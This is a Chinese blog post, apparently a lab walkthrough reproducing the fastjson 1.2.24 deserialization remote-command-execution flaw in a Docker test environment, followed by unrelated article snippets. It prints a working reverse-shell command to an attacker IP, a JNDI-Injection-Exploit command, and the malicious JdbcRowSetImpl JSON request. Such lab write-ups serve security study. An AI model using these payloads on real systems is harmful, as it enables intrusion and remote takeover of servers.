fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

news2024/11/29 20:39:31

前言

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境搭建

启动测试环境

sudo docker-compose up -d

在这里插入图片描述

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。
在这里插入图片描述

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

这是一个比较常用的攻击类com.sun.rowset.JdbcRowSetImpl

这是sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个rmi 的源,当解析这个 uri 的时候,
就会支持 rmi远程调用 ,去指定的rmi 地址中去调用方法 

在这里插入图片描述

反弹shell,JNDI注入

反弹shell的命令是下面这个,6565是监听的端口,可以随意改,合理即可。

bash -i >& /dev/tcp/攻击机ip地址/6565 0>&1

使用java执行shell命令需要加密一下
在线地址:https://woj.app/jjm/
在这里插入图片描述

接着用就要使用大佬的JNDI工具
首先去下载一下
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
在这里插入图片描述

执行如下命令

./java -jar /home/kali/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密内容}|{base64,-d}|{bash,-i}" -A "攻击机IP"

在这里插入图片描述

紫色的就是payload。
注意:java太高的版本会报如下错误,换低一些的版本就可以

在这里插入图片描述

然后另起一个终端,在kali上上开启监听,监听端口为反弹shell的端口6565
在这里插入图片描述

然后到攻击步骤。
注意了,这里的Content-Type字段要application/json。否则不行。

POST / HTTP/1.1
Host: 靶机url
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 162


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"payload",
        "autoCommit":true
    }
}

在BP抓包,然后将Host和payload更改,发送请求:
在这里插入图片描述

回到kali
在这里插入图片描述

成功反弹!!!
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/589846.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机网络】1.3 ——计算机网络的定义和分类

计算机网络的定义和分类 计算机网络定义 最简单的定义是 一些互相连接的、自治的计算机的集合 互连,指计算机之间可以通过有线或无线的方式进行数据通信自治,是指独立的计算机,它有自己的硬件和软件,可以单独运行使用集合&#…

面试专题:java 多线程(1)----synchronized关键字相关问答

在java 多线程 面试中最多问题1.悲观锁和乐观锁;2.synchronized和lock的区别;3.可重入锁和非可重入锁的区别;4.多线程是解决什么问题的;5.线程池解决什么问题的;6.线程池原理;7.线程池使用注意事项&#xf…

安卓中集成高德地图

安卓中集成高德地图 1.高德地图的优缺点 高德开放平台 | 高德地图API 高德地图优点: 1、领先的地图渲染技术:性能提升10倍,所占空间降低80%,比传统地图软件节省流量超过90% 2、专业在线导航功能&#x…

JVM之类的初始化与类加载机制

类的初始化 clinit 初始化阶段就是执行类构造器方法clinit的过程。此方法不需定义,是javac编译器自动收集类中的所有类变量的赋值动作和静态代码块中的语句合并而来。构造器方法中指令按语句在源文件中出现的顺序执行。clinit不同于类的构造器。(关联:…

C++-stack题型->最小栈,栈的压入与弹出,逆波兰表达式

目录 最小栈 栈的压入与弹出 逆波兰表达式 最小栈 155. 最小栈 - 力扣(Leetcode) 设计一个支持 push ,pop ,top 操作,并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。void …

App 测试流程及资料合集

/1 / 测试理论知识:跟其他 web 等测试一样; /2 / 整体测试流程:同 web 类似 具体差异化见下方内容 /3 / App 独特测试点: 客户端兼容性测试:系统版本、不同深度定制的 rom、屏幕分辨率、中断测试、 安装、卸载、升级、对其他程序的干扰等 需要的一些工具: appnium / lr / …

测试工程师转型开发?还是继续磨练测试技能?

测试五年,没有积累编程脚本能力和自动化经验,找工作时都要求语言能力,自动化框架。 感觉开发同事积累的经历容易找工作。 下一步,想办法转开发岗还是继续测试??? 正常情况下,有了四年…

pdf怎么在线阅读?一键查阅并不难

PDF格式的文件已经成为现代生活中不可或缺的一部分,无论是学术论文、电子书、工作文件还是表格,都有可能以PDF格式出现。然而,为了读取这些文件,我们需要安装PDF阅读器,这在某些情况下可能会带来不便。因此&#xff0c…

如何修复缺失的mfplat.dll文件,多种修复mfplat.dl分享

当你在使用电脑时,突然遇到了缺失了mfplat.dll的错误提示,你可能会感到非常烦恼。不要担心,这是一个常见的问题。在本文中,我们将指导你如何修复缺失的mfplat.dll文件。 一.什么是mfplat.dll MFPLAT.DLL是Microsoft Windows操作系…

广和通发布5G RedCap模组FG132-NA,助力5G商用规模化

5月30日,全球领先的无线通信模组和解决方案提供商广和通发布5G RedCap模组FG132-NA,加速5G技术在更多物联网场景广泛应用。 FG132-NA符合3GPP Release17演进标准,为物联网终端带来卓越5G体验的同时,全面优化产品尺寸、功耗以及成本…

spring boot与spring cloud版本兼容问题解决(附版本兼容表)

天行健,君子以自强不息;地势坤,君子以厚德载物。 每个人都有惰性,但不断学习是好好生活的根本,共勉! 文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。…

【Matter】使用chip tool在ESP32-C3上进行matter开发

文章目录 使用chip tool在ESP32-C3上进行matter开发前提准备编译 chip-tool1.激活esp-matter环境2.编译matter所需环境3.构建CHIP TOOL chip-tool client 调试设备说明1.基于 BLE 调试2.通过IP与设备配对3.Trust store4.忘记当前委托的设备 使用chip-tool点灯1.matter环境激活2…

简单解决八皇后问题与n皇后问题

努力是为了不平庸~ 学习的最大理由是想摆脱平庸,早一天就多一份人生的精彩;迟一天就多一天平庸的困扰。 目录 一、问题描述 二、问题解决思路 1. 建立数据结构: 2. 约束条件的实现: 3. 结果展示: 4. 拓展至n皇…

(STL之string)string类的用法详解

string类成员函数PART1 成员函数(构造函数拷贝构造函数):string 函数原型: string(); string (const string& str); string (const string& str, size_t pos, size_t len npos); string (const char* s); string (const char* s, size_t n)…

项目中使用es(一):使用springboot操作elasticsearch

使用springboot操作es 写在前面搭建项目环境和选择合适版本具体的代码实现(1)继承ProductInfoRepository具体的代码实现(2)使用ElasticsearchRestTemplate操作问题总结最后放个demo 写在前面 对于elasticsearch的搭建&#xff0c…

【Top10】天津高性价比Web前端培训机构(Web前端需要掌握什么技能)

Web前端开发已经成为了一门备受瞩目的技能,对于一些初学者或者转行的人来说,也是非常友好的,当然越火也越会存在争议,大部分没有经验的人会选择参加培训来学习Web前端技术,也有不少人对于参加Web前端培训的必要性存在疑…

项目管理系统的设计与实现(ASP.NET,SQL)

开发环境:Microsoft Visual Studio 数据库:Microsoft SQL Server 程序语言:asp.NET(C#)语言本系统的开发使各大公司所的项目管理更加方便快捷,同时也促使项目的管理变的更加系统化、有序化。系统界面较友好,易于操作。…

AIGC下的低代码赛道,你我皆是拓荒人

今年年初,ChatGPT的现象级爆发,让其底层技术AIGC的承载方OpenAI备受关注。几重buff叠加,打工人的命运可以说是跌宕起伏,命途多舛了。在国内,AIGC的长期价值已逐渐被挖掘,正在重构人们的办公、娱乐乃至生活方…

启真医学大模型

启真医学大模型 QiZhenGPT: An Open Source Chinese Medical Large Language Model 本项目利用启真医学知识库构建的中文医学指令数据集,并基于此在LLaMA-7B模型上进行指令精调,大幅提高了模型在中文医疗场景下效果,首先针对药品知识问答发…

事务隔离级别-浅析

事务隔离级别是指在并发操作下,不同的事务之间互相隔离的程度。常见的事务隔离级别有以下四种: 读未提交(Read Uncommitted):一个事务可以读取另一个未提交事务的数据。这样可能会导致脏读、不可重复读和幻读等问题。…